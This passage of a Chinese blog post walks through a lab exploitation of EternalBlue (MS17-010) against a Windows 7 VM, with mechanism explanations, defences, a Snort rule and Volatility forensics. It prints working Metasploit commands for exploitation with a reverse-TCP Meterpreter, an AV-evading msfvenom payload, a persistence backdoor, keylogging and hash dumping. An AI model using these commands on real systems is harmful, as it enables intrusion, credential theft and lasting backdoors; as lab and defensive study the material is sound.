    假设有一个缓冲区(Buffer)只能存放 10 个字节:

    [0][1][2][3][4][5][6][7][8][9]

    正常情况下,写入 10 个字节:

    [H][e][l][l][o][W][o][r][l][d]

    但如果写入 15 个字节会怎样?

    [H][e][l][l][o][W][o][r][l][d][!][!][!][!][!]
    ↑ 溢出部分

    溢出的 5 个字节会覆盖相邻内存区域,可能是:

    • 函数返回地址(控制程序跳转到哪里)
    • 其他变量的值
    • 函数指针(控制调用哪个函数)

    2. 永恒之蓝的攻击步骤

    第一步:内存布局整理(Groom)

    • 发送多个 SMB 请求,在内核的非分页池(Non-Paged Pool)中分配多个固定大小的内存块
    • 非分页池是内核用于存储不能被换出到硬盘的数据(如驱动、锁、DPC 对象)
    • 通过精心构造请求,让这些内存块紧密排列

    第二步:创建 Free Hole

    • 释放其中一个内存块,创建一个"空洞"
    • 这个空洞的位置是可预测的

    第三步:触发溢出

    • 发送恶意的 SMB_COM_TRANSACTION2 请求,包含超长数据
    • SMB 驱动在解析这个请求时,会将数据复制到一个缓冲区
    • 但驱动没有正确检查数据长度,导致缓冲区溢出
    • 溢出的数据精确填充之前创建的 Free Hole

    第四步:劫持执行流

    • 溢出的数据包含精心构造的内存结构(如函数指针、对象指针)
    • 当内核继续执行时,会调用这些被篡改的指针
    • 程序跳转到攻击者控制的 shellcode

    第五步:执行 Payload

    • Shellcode 运行在内核模式(Ring 0),拥有 SYSTEM 权限
    • Shellcode 会创建一个新进程,注入 Meterpreter 的第一阶段代码
    • 然后通过网络下载第二阶段代码,建立反向连接

    用图表示:

    正常内存布局:
    [内核代码][缓冲区A][缓冲区B][函数指针][其他数据]

    Groom 后的布局:
    [SMB块1][SMB块2][Free Hole][SMB块3][重要结构]

    溢出后的布局:
    [SMB块1][SMB块2][恶意数据填充][SMB块3][被覆盖]

    shellcode

    5.3 为什么能无需认证?

    SMB 协议在处理连接请求时,会在用户认证之前进行数据包解析。永恒之蓝利用的就是这个解析过程中的漏洞,因此无需提供用户名和密码。

    SMB 连接流程:

    1. TCP 三次握手(建立连接)
    2. SMB 协议协商(客户端和服务器商量用 SMBv1/v2/v3)
    ← 漏洞在这一步触发!
    3. 用户认证(输入用户名密码)
    4. 访问共享资源

    因为漏洞在第 2 步就被触发,所以不需要第 3 步的认证。

    5.4 反向连接(Reverse TCP)原理

    • 正向连接(Bind TCP):攻击机主动连接目标(易被防火墙拦截)
    • 反向连接(Reverse TCP):目标主动连接攻击机(绕过防火墙出站规则)

    大多数防火墙只限制入站连接,不限制出站连接,因此反向 TCP 成功率更高。

    为什么防火墙不限制出站?
    因为用户需要访问互联网(浏览器、邮件客户端、更新服务),这些都是出站连接。如果严格限制出站,系统基本无法使用。

    企业网络的区别:

    • 普通家庭网络:只限制入站,不限制出站
    • 企业网络:可能有出站白名单(只允许访问特定域名/IP),或者部署代理服务器强制所有出站流量经过审查

    高级反向连接技术:

    • HTTP/HTTPS 反向连接:伪装成正常的网页访问流量
    • DNS 隧道:通过 DNS 查询传输数据(几乎所有网络都允许 DNS)
    • ICMP 隧道:通过 ping 数据包传输数据

    六、防御措施

    6.1 立即修复

    安装 Microsoft 官方补丁:MS17-010

    • Windows Update 自动更新
    • 手动下载:https://docs.microsoft.com/zh-cn/security-updates/

    6.2 禁用 SMBv1 协议

    # 以管理员身份运行 PowerShell
    Disable-WindowsOptionalFeature Online FeatureName SMB1Protocol

    6.3 网络层防护

    • 在防火墙/路由器上阻止 139、445 端口的外网访问
    • 配置 IDS/IPS 检测永恒之蓝攻击特征

    6.4 主机加固

    • 启用 Windows 防火墙
    • 关闭不必要的文件共享
    • 使用强密码策略
    • 定期进行漏洞扫描

    6.5 监控告警

    • 监控异常 SMB 流量(大量 445 端口连接)
    • 监控 Meterpreter 常见行为(进程注入、内存加载)

    七、实验总结

    7.1 关键技能

    ✅ 使用 Nmap 进行端口扫描和服务识别
    ✅ 使用 Metasploit 框架进行漏洞检测和利用
    ✅ 理解反向 Shell 和 Meterpreter 的工作原理
    ✅ 掌握后渗透阶段的信息收集和权限维持

    7.2 注意事项

    ⚠️ 本实验仅限在授权环境(本地虚拟机)中进行
    ⚠️ 未经授权对他人系统进行渗透测试是违法行为
    ⚠️ 永恒之蓝攻击成功率高但容易导致目标系统蓝屏崩溃
    ⚠️ 实际渗透测试中应评估攻击对业务的影响

    7.3 实战与现实的差异

    • 真实环境:大多数系统已打补丁,需要寻找其他漏洞
    • 企业网络:有 IDS/IPS、WAF、EDR 等安全设备
    • 法律风险:未授权攻击会面临刑事责任
    • 攻击检测:蓝队会分析流量特征、进程行为、日志异常

    7.4 我的实战心得

    遇到的问题:

  • 网络连通性问题:刚开始 Kali 无法 ping 通 Win7,检查后发现是 VMware 网络适配器设置错误,都设置为 NAT 模式后解决
  • SMB 服务未启动:第一次扫描 445 端口超时,后来发现是 Win7 的 Server 服务没启动
  • 防火墙自动开启:关闭防火墙后过一会又自动开启了,需要在"服务"中禁用 Windows Firewall 服务
  • 攻击失败率:前 3 次攻击都失败了(显示 exploit completed but no session),第 4 次才成功。搜索后发现永恒之蓝的成功率不是 100%,可能需要多试几次
  • 学到的知识:

  • 网络协议层次:理解了 TCP/IP、SMB、应用层的关系
  • 缓冲区溢出:第一次真正理解了缓冲区溢出的原理,不再只是背概念
  • 内核提权:知道了为什么内核漏洞这么危险(直接 SYSTEM 权限)
  • 攻击流程:完整走了一遍渗透测试流程(信息收集 → 漏洞扫描 → 漏洞利用 → 后渗透)
  • 感受:

    • 之前看别人的渗透测试文章,觉得很复杂。自己实操后发现,有了 Metasploit 这样的工具,攻击其实不难(前提是环境配置正确)
    • 但理解底层原理才是最重要的,不能只会用工具。比如理解了 Groom、缓冲区溢出、反向连接的原理后,遇到问题才知道怎么排查
    • 真实环境肯定比实验环境复杂得多(有防火墙、IDS、杀软),需要更多的技巧(免杀、隧道、社会工程学)

    八、扩展学习

    8.1 其他 SMB 漏洞

    • MS08-067:Windows Server Service 远程代码执行

      • 影响:Windows XP/2003/Vista/2008
      • 2008 年的老漏洞,但很多老系统仍然存在
      • Conficker 蠕虫利用此漏洞传播
    • CVE-2020-0796(SMBGhost):SMBv3 压缩漏洞

      • 影响:Windows 10 1903/1909、Server 2019
      • 2020 年 3 月爆发,微软紧急修复
      • 利用 SMBv3 的压缩功能触发缓冲区溢出

    8.2 Metasploit 进阶

    Payload 类型:

    • Single:独立 payload,一次性发送完整代码(如 windows/exec)
    • Stager:分阶段 payload,先发送小型加载器,再下载完整代码(如 windows/meterpreter/reverse_tcp)
    • Stage:第二阶段代码(完整的 Meterpreter)

    为什么使用分阶段 Payload?

    • 缓冲区空间有限,无法容纳完整的 Meterpreter(268KB)
    • 先注入小型加载器(几百字节),通过网络下载完整代码
    • 更灵活,可以动态选择不同的功能模块

    Payload 编码和免杀:

    # 生成免杀的可执行文件
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.9 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o evil.exe

    • -e x86/shikata_ga_nai:使用 shikata_ga_nai 编码器(多态加密)
    • -i 10:编码 10 次(增加检测难度)
    • -f exe:输出格式为 exe 可执行文件

    但现代杀软已经可以检测 Metasploit 的特征,需要更高级的免杀技术:

    • 自定义 shellcode 加载器
    • 使用其他 C2 框架(Cobalt Strike、Sliver)
    • 内存加载(不写入磁盘)

    持久化后门:

    # 在 Meterpreter 中执行
    run persistence -X -i 60 -p 4444 -r 192.168.43.9

    • -X:系统启动时自动运行
    • -i 60:每 60 秒尝试重新连接
    • 会在注册表或启动文件夹创建后门

    权限提升模块:

    use post/windows/gather/enum_patches # 枚举已安装的补丁
    use exploit/windows/local/ms16_032_secondary_logon_handle_privesc # 本地提权

    8.3 防御视角 (搜索所得,后面会进行实操)

    如何检测永恒之蓝攻击?

    1. 网络层检测(IDS/IPS)

    • 监控 445 端口的异常流量
    • 检测 SMB 数据包中的特征:
      • 超长的 TRANSACTION2 请求
      • 包含 shellcode 的特征字节序列
      • 大量 Groom 分配请求

    Snort 规则示例:

    alert tcp any any -> any 445 (msg:"ETERNALBLUE SMB Exploit"; content:"|fe|SMB";
    depth:5; content:"|00|"; distance:0; byte_test:1,>,200,0,relative;
    sid:1000001; rev:1;)

    2. 主机层检测(EDR)

    • 监控 srv.sys 驱动的异常行为
    • 检测内核内存中的可疑 shellcode
    • 监控进程的异常网络连接(如 lsass.exe 突然连接外网)

    3. 日志分析

    • Windows 事件日志(Event ID 1000:应用程序崩溃)
    • 如果 SMB 服务频繁崩溃,可能正在被攻击
    • 检查防火墙日志,大量 445 端口扫描

    蓝队应急响应流程:

  • 隔离主机:断网,防止横向移动
  • 内存取证:使用 FTK Imager / Volatility 导出内存镜像
  • 分析 Meterpreter 特征:查找 metsrv.dll / ReflectiveLoader 等关键字
  • 清除后门:检查注册表、启动项、计划任务
  • 打补丁:安装 MS17-010 补丁
  • 重置密码:所有账户密码可能已被窃取
  • Volatility 内存分析命令:

    # 查看进程列表
    volatility -f memory.raw –profile=Win7SP1x64 pslist

    # 查看网络连接
    volatility -f memory.raw –profile=Win7SP1x64 netscan

    # 查找 Meterpreter 特征
    volatility -f memory.raw –profile=Win7SP1x64 yarascan -Y "metsrv"

    # 导出可疑进程
    volatility -f memory.raw –profile=Win7SP1x64 procdump -p 1234 -D ./


    附录:完整命令速查表

    Kali 攻击机

    # 1. 端口扫描
    nmap -sV -p 445 192.168.43.10

    # 2. 启动 Metasploit
    msfconsole -q

    # 3. 漏洞检测
    use auxiliary/scanner/smb/smb_ms17_010
    set RHOSTS 192.168.43.10
    run

    # 4. 漏洞利用
    use exploit/windows/smb/ms17_010_eternalblue
    set RHOSTS 192.168.43.10
    set payload windows/x64/meterpreter/reverse_tcp
    set LHOST 192.168.43.9
    exploit

    # 5. Meterpreter 常用命令
    sysinfo # 系统信息
    getuid # 当前权限
    ps # 进程列表
    screenshot # 截屏
    ipconfig # 网络配置
    shell # 进入 cmd
    keyscan_start # 键盘记录
    upload /root/file.txt C:\\\\Users\\\\Public\\\\file.txt # 上传文件
    download C:\\\\Users\\\\Yan\\\\Desktop\\\\file.txt /root/ # 下载文件
    migrate 1234 # 进程迁移
    hashdump # 导出密码哈希
    exit # 退出

    Windows 7 靶机

    # 查看 IP
    ipconfig

    # 启动 SMB 服务
    net start server

    # 查看 SMB 服务状态
    sc query server

    # 查看监听端口
    netstat -an | find "445"

    # 查看当前用户
    whoami

    # 查看系统信息
    systeminfo

    # 禁用防火墙
    netsh advfirewall set allprofiles state off

    故障排查命令

    # Kali 查看自己的 IP
    ip a

    # Kali 测试能否 ping 通 Win7
    ping 192.168.43.10

    # Kali 测试 445 端口连通性
    telnet 192.168.43.10 445

    # Win7 查看防火墙状态
    netsh advfirewall show allprofiles

    # Win7 查看 Server 服务是否运行
    sc query server


    免责声明:本文仅用于网络安全教育目的,所有实验均在授权的本地虚拟环境中进行。未经授权对他人计算机系统进行渗透测试属于违法行为,请遵守《中华人民共和国网络安全法》等相关法律法规。作为学习者,我深知网络安全技术是一把双刃剑,应该用于保护系统而非攻击他人。

    致谢:感谢网上各位安全研究者的文章和教程,帮助我理解了永恒之蓝的原理。特别感谢 MSDN I Tell You 提供的原版镜像,以及 Metasploit 社区的开源贡献。

    赞(0)
    未经允许不得转载:171主机测评 » 永恒之蓝(MS17-010)漏洞实战攻略
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址